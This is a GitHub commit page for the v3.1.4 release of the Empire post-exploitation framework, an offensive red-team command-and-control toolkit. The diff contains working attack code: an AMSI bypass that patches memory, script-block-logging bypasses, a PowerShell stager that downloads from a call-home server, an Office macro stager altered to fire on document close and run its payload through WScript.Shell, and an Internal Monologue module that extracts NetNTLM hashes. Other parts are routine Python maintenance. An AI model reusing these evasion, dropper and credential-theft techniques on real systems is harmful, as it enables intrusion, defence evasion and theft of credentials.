Skip to content

Commit

Permalink
Merge pull request #148 from BC-SECURITY/dev
Browse files Browse the repository at this point in the history
v3.1.4 Master Release
  • Loading branch information
Cx01N authored Apr 6, 2020
2 parents af30a1f + f1454b8 commit 4a14649
Show file tree
Hide file tree
Showing 21 changed files with 70 additions and 68 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,7 @@ Next, we have added Function Name Aliasing, which automates the ability to rando

Please see our [Releases](https://github.com/BC-SECURITY/Empire/releases) or [Changelog](/changelog) page for detailed release notes.
## Install
As of Empire 3.1.0, Empire only officially supports Python 3. If you still need Python 2 support, please use the [3.0.x branch](https://github.com/BC-SECURITY/Empire/tree/3.0.x) or releases. Also consider using our [Prebuilt Docker containers](#Docker) which use Python 3.
As of Empire 3.1.0, Empire only officially supports Python 3. If you still need Python 2 support, please use the [3.0.x branch](https://github.com/BC-SECURITY/Empire/tree/v3.0.7) or releases. Also consider using our [Prebuilt Docker containers](#Docker) which use Python 3.

__Note:__ Run ```./setup/reset.sh``` before starting Empire 3.1 for the first time.
### Kali
Expand Down
2 changes: 1 addition & 1 deletion VERSION
Original file line number Diff line number Diff line change
@@ -1 +1 @@
3.1.3
3.1.4
12 changes: 11 additions & 1 deletion changelog
Original file line number Diff line number Diff line change
@@ -1,9 +1,19 @@
4/4/2020
------------
- Version 3.1.4 Master Release
- Fixed non-ascii filename download error - #141 (@tyraniter)
- Updated payload evasion against Defender - #147 (@Hubbl3)
- Added reset flag to empire launcher - #147 (@Cx01N)
- Replaced imp package with importlib - #108 (@Cx01N)
- Fixed internal monologue issue with only running once - #43 (@Cx01N)
- Fixed ascii encode error in powerbreach modules - #150 (@CykuTW)

3/22/2020
------------
- Version 3.1.3 Master Release
- Fixed errors with OneDrive listener - #40 (@Cx01N)
- Fixed REST API get config error - #131 (@chenxiangfang)
- Increased timer for stale agent checkins - #130 (@C01N)
- Increased timer for stale agent checkins - #130 (@Cx01N)

3/13/2020
------------
Expand Down
5 changes: 3 additions & 2 deletions data/agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,8 @@
import http.server
import zipfile
import io
import imp
import importlib.util
import types
import re
import shutil
import pwd
Expand Down Expand Up @@ -594,7 +595,7 @@ def find_module(self, fullname, path=None):
def load_module(self, fullname):
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
code = compile(source, fullpath, 'exec')
mod = sys.modules.setdefault(fullname, imp.new_module(fullname))
mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
mod.__loader__ = self
mod.__file__ = fullpath
mod.__name__ = fullname
Expand Down
13 changes: 8 additions & 5 deletions data/module_source/credentials/Invoke-InternalMonologue.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -489,7 +489,10 @@ namespace InternalMonologue
}
}
if (authenticatedUsers.Count > 0)
{
authenticatedUsers.Clear();
}
//Extended NetNTLM Downgrade and impersonation can only work if the current process is elevated
if (IsElevated())
{
Expand Down Expand Up @@ -537,7 +540,7 @@ namespace InternalMonologue
//If the process is not elevated, skip downgrade and impersonation and only perform an Internal Monologue Attack for the current user
if (verbose == true) Console.WriteLine("Not elevated. Performing attack with current NTLM settings on current user");
Console.WriteLine(InternalMonologueForCurrentUser(challenge));
}
}
}
//This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788
Expand Down Expand Up @@ -640,7 +643,7 @@ namespace InternalMonologue
{
result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + challenge + ":" + ByteArrayToString(nt_resp).Substring(0,32) + ":" + ByteArrayToString(nt_resp).Substring(32);
}
return result;
}
Expand Down Expand Up @@ -700,7 +703,7 @@ namespace InternalMonologue
}
return ascii;
return ascii;
}
}
Expand Down Expand Up @@ -888,4 +891,4 @@ $StringWriter = New-Object IO.StringWriter
[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results
}
}
4 changes: 4 additions & 0 deletions empire
Original file line number Diff line number Diff line change
Expand Up @@ -1446,6 +1446,7 @@ if __name__ == '__main__':

generalGroup = parser.add_argument_group('General Options')
generalGroup.add_argument('--debug', nargs='?', const='1', help='Debug level for output (default of 1, 2 for msg display).')
generalGroup.add_argument('--reset-empire', action='store_true', help="Resets Empire's database to defaults.")
generalGroup.add_argument('-v', '--version', action='store_true', help='Display current Empire version.')
generalGroup.add_argument('-r','--resource', nargs=1, help='Run the Empire commands in the specified resource file after startup.')

Expand Down Expand Up @@ -1473,6 +1474,9 @@ if __name__ == '__main__':
if args.version:
print(empire.VERSION)

if args.reset_empire:
subprocess.call("./setup/reset.sh")

elif args.rest:
# start an Empire instance and RESTful API
main = empire.MainMenu(args=args)
Expand Down
2 changes: 1 addition & 1 deletion lib/common/bypasses.py
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,7 @@ def AMSIBypass2():
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6)
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
"""
bypass = bypass.replace('"kernel32"', '`"kernel32`"')
bypass = bypass.replace('@"','"')
Expand Down
3 changes: 1 addition & 2 deletions lib/common/empire.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@
from builtins import str
from builtins import range

VERSION = "3.1.3 BC-Security Fork"
VERSION = "3.1.4 BC-Security Fork"

from pydispatch import dispatcher

Expand Down Expand Up @@ -538,7 +538,6 @@ def do_listeners(self, line):

def do_uselistener(self, line):
"Use an Empire listener module."
print("uselistener")
parts = line.split(' ')

if parts[0] not in self.listeners.loadedListeners:
Expand Down
8 changes: 5 additions & 3 deletions lib/common/listeners.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
from builtins import object
import sys
import fnmatch
import imp
import importlib.util
from . import helpers
import os
import pickle
Expand Down Expand Up @@ -65,8 +65,10 @@ def load_listeners(self):
listenerName = filePath.split("/lib/listeners/")[-1][0:-3]

# instantiate the listener module and save it to the internal cache
self.loadedListeners[listenerName] = imp.load_source(listenerName, filePath).Listener(self.mainMenu, [])

spec = importlib.util.spec_from_file_location(listenerName, filePath)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
self.loadedListeners[listenerName] = mod.Listener(self.mainMenu, [])

def set_listener_option(self, listenerName, option, value):
"""
Expand Down
14 changes: 9 additions & 5 deletions lib/common/modules.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
from builtins import object
import fnmatch
import os
import imp
import importlib.util
from . import messages
from . import helpers

Expand Down Expand Up @@ -60,8 +60,10 @@ def load_modules(self, rootPath=''):
moduleName = "external/%s" %(moduleName)

# instantiate the module and save it to the internal cache
self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, [])

spec = importlib.util.spec_from_file_location(moduleName, filePath)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
self.modules[moduleName] = mod.Module(self.mainMenu, [])

def reload_module(self, moduleToReload):
"""
Expand All @@ -84,8 +86,10 @@ def reload_module(self, moduleToReload):
# check to make sure we've found the specific module
if moduleName.lower() == moduleToReload.lower():
# instantiate the module and save it to the internal cache
self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, [])

spec = importlib.util.spec_from_file_location(moduleName, filePath)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
self.modules[moduleName] = mod.Module(self.mainMenu, [])

def search_modules(self, searchTerm):
"""
Expand Down
2 changes: 1 addition & 1 deletion lib/common/packets.py
Original file line number Diff line number Diff line change
Expand Up @@ -165,7 +165,7 @@ def build_task_packet(taskName, data, resultID):
totalPacket = struct.pack('=H', 1)
packetNum = struct.pack('=H', 1)
resultID = struct.pack('=H', resultID)
length = struct.pack('=L', len(data))
length = struct.pack('=L', len(data.encode("UTF-8")))
return taskType + totalPacket + packetNum + resultID + length + data.encode("UTF-8")

def parse_result_packet(packet, offset=0):
Expand Down
7 changes: 5 additions & 2 deletions lib/common/stagers.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@
from builtins import object
from past.utils import old_div
import fnmatch
import imp
import importlib.util
from . import helpers
import errno
import os
Expand Down Expand Up @@ -73,7 +73,10 @@ def load_stagers(self):
stagerName = filePath.split("/lib/stagers/")[-1][0:-3]

# instantiate the module and save it to the internal cache
self.stagers[stagerName] = imp.load_source(stagerName, filePath).Stager(self.mainMenu, [])
spec = importlib.util.spec_from_file_location(stagerName, filePath)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
self.stagers[stagerName] = mod.Stager(self.mainMenu, [])


def set_stager_option(self, option, value):
Expand Down
23 changes: 12 additions & 11 deletions lib/listeners/http.py
Original file line number Diff line number Diff line change
Expand Up @@ -319,17 +319,18 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
if scriptLogBypass:
stager += bypasses.scriptBlockLogBypass()
# @mattifestation's AMSI bypass
if AMSIBypass:
stager += bypasses.AMSIBypass()
# rastamouse AMSI bypass
if AMSIBypass2:
stager += bypasses.AMSIBypass2()
if scriptLogBypass:
stager += bypasses.scriptBlockLogBypass()
# @mattifestation's AMSI bypass
if AMSIBypass:
stager += bypasses.AMSIBypass()
# rastamouse AMSI bypass
if AMSIBypass2:
stager += bypasses.AMSIBypass2()
if safeChecks.lower() == 'true':
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")

stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
Expand All @@ -339,7 +340,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"

stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';"
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") + '.Headers.Add(')
Expand Down Expand Up @@ -398,7 +399,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL',
meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';"

# Add custom headers if any
if customHeaders != []:
for header in customHeaders:
Expand Down
3 changes: 1 addition & 2 deletions lib/modules/powershell/persistence/powerbreach/deaduser.py
Original file line number Diff line number Diff line change
Expand Up @@ -163,8 +163,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
return ""
else:
script = script.replace("REPLACE_LAUNCHER", stagerCode)
script = script.encode('ascii', 'ignore')


for option,values in self.options.items():
if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile":
if values['Value'] and values['Value'] != '':
Expand Down
3 changes: 1 addition & 2 deletions lib/modules/powershell/persistence/powerbreach/eventlog.py
Original file line number Diff line number Diff line change
Expand Up @@ -138,8 +138,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
return ""
else:
script = script.replace("REPLACE_LAUNCHER", stagerCode)
script = script.encode('ascii', 'ignore')


for option,values in self.options.items():
if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile":
if values['Value'] and values['Value'] != '':
Expand Down
1 change: 0 additions & 1 deletion lib/modules/powershell/persistence/powerbreach/resolver.py
Original file line number Diff line number Diff line change
Expand Up @@ -150,7 +150,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
return ""
else:
script = script.replace("REPLACE_LAUNCHER", stagerCode)
script = script.encode('ascii', 'ignore')

for option,values in self.options.items():
if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile":
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -1990,8 +1990,6 @@ def kcdecrypt(key, iv, data):
return data
cipher = triple_des(key, CBC, iv)
# the line below is for pycrypto instead
#cipher = DES3.new( key, DES3.MODE_CBC, iv )
plain = cipher.decrypt(data)
Expand Down
21 changes: 4 additions & 17 deletions lib/stagers/windows/macro.py
Original file line number Diff line number Diff line change
Expand Up @@ -170,20 +170,12 @@ def generate(self):
for chunk in chunks[1:]:
payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n"

macro = "Sub Auto_Open()\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro += "Sub AutoOpen()\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"

macro += "Sub Document_Open()\n"
macro = "Sub AutoClose()\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"

macro += "Public Function "+Method+"() As Variant\n"
macro += "\tstrComputer = \".\"\n"
macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n"

if OutlookEvasionBool == True:
macro += "\tSet ID = objWMIService.ExecQuery(\"Select IdentifyingNumber from Win32_ComputerSystemproduct\")\n"
macro += "\tFor Each objItem In ID\n"
Expand All @@ -196,13 +188,8 @@ def generate(self):
macro +="\tNext\n"

macro += payload
macro += "\tConst HIDDEN_WINDOW = 0\n"

macro += "\tSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\n"
macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n"
macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n"
macro += "\tSet asd = CreateObject(\"WScript.Shell\")\n"
macro += "\tasd.Run("+Str+")\n"
macro += "End Function\n"

return macro
2 changes: 1 addition & 1 deletion setup/requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ jinja2
cryptography
pyminifier
xlutils
pycrypto
pefile
simplejson
bcrypt
pycrypto
2 changes: 1 addition & 1 deletion setup/requirements_libssl1.0.txt
Original file line number Diff line number Diff line change
Expand Up @@ -15,5 +15,5 @@ jinja2
cryptography
pyminifier==2.1
xlutils
pycrypto
pefile
pycrypto
7 changes: 0 additions & 7 deletions setup/reset.sh
Original file line number Diff line number Diff line change
Expand Up @@ -32,10 +32,3 @@ if [ -d ./downloads/ ]
then
rm -rf ./downloads/
fi

# start up Empire if not in docker otherwise return
if [ -f /.dockerenv ]; then
echo " [*] Empire reset complete returning back to Docker"
else
./empire
fi

0 comments on commit 4a14649

Please sign in to comment.